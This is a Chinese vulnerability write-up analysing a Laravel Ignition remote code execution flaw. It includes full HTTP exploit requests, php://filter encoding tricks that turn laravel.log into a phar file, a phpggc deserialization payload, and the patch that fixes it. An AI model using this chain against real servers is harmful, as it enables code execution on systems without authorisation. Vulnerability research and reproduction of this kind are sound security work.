本文分享自华为云社区《CVE--3129 分析》,作者:Xuuuu 。
CVE--3129
Tag: [[php phar]] | [[php deserialize]]Env搭建
VulEnv/laravel/cve__3129 at master · XuCcc/VulEnv
Source 分析
根据描述,本质上是由于facade/ignition
引入的问题,直接查看ignition
的 commit 记录[^1] 看到\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution
添加了一个安全过滤函数isSafePath
// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptionalpublic function makeOptional(array $parameters = []){$originalContents = file_get_contents($parameters['viewFile']);$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);$originalTokens = token_get_all(Blade::compileString($originalContents));$newTokens = token_get_all(Blade::compileString($newContents));$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);if ($expectedTokens !== $newTokens) {return false;}return $newContents;}
发现危险函数file_get_contents
,跟踪函数调用栈
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run\Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke\Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
参数$parameters['viewFile']
无过滤,通过execute-solution
路由可以进行触发,结合官方文档[^2] 可知,在执行solution
操作时将走到 source 处。
Poc 编写
启动环境后,就出现了一个igition
的错误修复界面,点击Generate app key
抓包
POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 82Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
然后修改参数solution
修改为MakeViewVariableOptionalSolution
指定solution
POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 163Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "asdfasdf"}}HTTP/1.1 500 Internal Server ErrorHost: localhost:8000Date: Tue, 15 Mar 08:00:15 GMTConnection: closeX-Powered-By: PHP/7.3.21Cache-Control: no-cache, privateDate: Tue, 15 Mar 08:00:15 GMTContent-Type: application/json{"message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",...}
500
则代表存在漏洞。
EXP 编写
当存在上传点时,直接上传 phar 文件进行反序列化即可,直接快进到第四步触发反序列化
利用思路
无上传点可利用时,我们可以操控../storage/logs/laravel.log
日志文件,配合php://filter
的特性来构建 phar 文件,执行反序列化。
清空日志文件
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"}}
写入合法 phar 文件
[-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75) [stacktrace] #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array) #1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA') ........#41 {main} "}
其中传入的payload
出现位置
...[padding] file_get_contents($payload) [padding] file_get_contents($payload)...[padding] file_get_contents('$payload[:15]') # 部分payload
由于 [[php phar#文件结构]] 特性,文件前后允许脏数据存在,所以思路为
构造phar文件,将phar文件经过编码后写入log文件,再通过 php://filter 特性还原phar文件,最后通过 phar://触发
编码特性
base64解码不符合 base64 标准的字符将被忽略然后继续解码utf16 -> utf8 utf16 用两字节表示一个字符,需要双字节对齐quoted-printable 邮件编码 将\0
编码为=00
<?php$fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode'); stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le'); stream_filter_append($fp, 'convert.quoted-printable-encode'); fwrite($fp, "POCCCCCCCCCCCCC");fclose($fp);// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00$fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.quoted-printable-decode'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); //stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA"); fclose($fp);// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁$fp = fopen('php://output', 'w'); //stream_filter_append($fp, 'convert.quoted-printable-decode'); //stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁"); fclose($fp);// POCCCCCCCCCCCCC?>
发送
// Step 1"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"// Step 2"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
解码报错file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence
观察日志文件
[-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)[stacktrace]#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')
断定由于U=00E=009=00D=0...
处被截断导致quoted-printable
解码报错,第三处位置只显示前15个字符,所以可以通过'A' * 15
进行填充,发送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后得到POCCCCCCCCCCCCCPOCCCCCCCCCCCCC
出现了两次payload
,初步符合我们的要求,能够自由控制storage.log
内容。
那出现两次的payload
如何解决呢?如果出现两次payload
或者出现部分残留的base64编码允许的字符将影响后续的base64解码。 可以通过在前后通过加填充字符的方式来调整payload
的第一个字符下标为奇数 or 偶数,从而影响utf16->utf8
的解码,来使得最终只出现一次payload
例如发送'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后成功得到POCCCCCCCCCCCCC
phar 生成
利用 phpgcc [^3] 生成 phar 文件
> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote d-printable-encode/resource=poc.phar');" P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00
完整利用
清空日志POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 196Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"}}
发送 phar 文件
POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 3222Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"}}
还原 phar 文件
此步骤可通过以下代码验证 phar 文件还原是否成功,或者通过http200
状态码判断
$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"); var_export($fix);
POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 271Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
触发反序列化
POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 167Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "phar://../storage/logs/laravel.log"}}
Patch 修复
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath
函数对$parameters['viewFile']
进行了过滤,防止伪协议等。
protected function isSafePath(string $path): bool{if (! Str::startsWith($path, ['/', './'])) {return false;}if (! Str::endsWith($path, '.blade.php')) {return false;}return true;}
Reference
Laravel8 CVE--3129 复现分析 - TARI TARILaravel Debug mode RCE(CVE--3129)复现 - inHann的博客 | inHann’s BlogLaravel Debug mode RCE(CVE--3129)分析复现 - 先知社区
Footnote
[^1]:Comparing 2.5.1…2.5.2 · facade/ignition
[^2]:Security - Flare Docs
[^3]:ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
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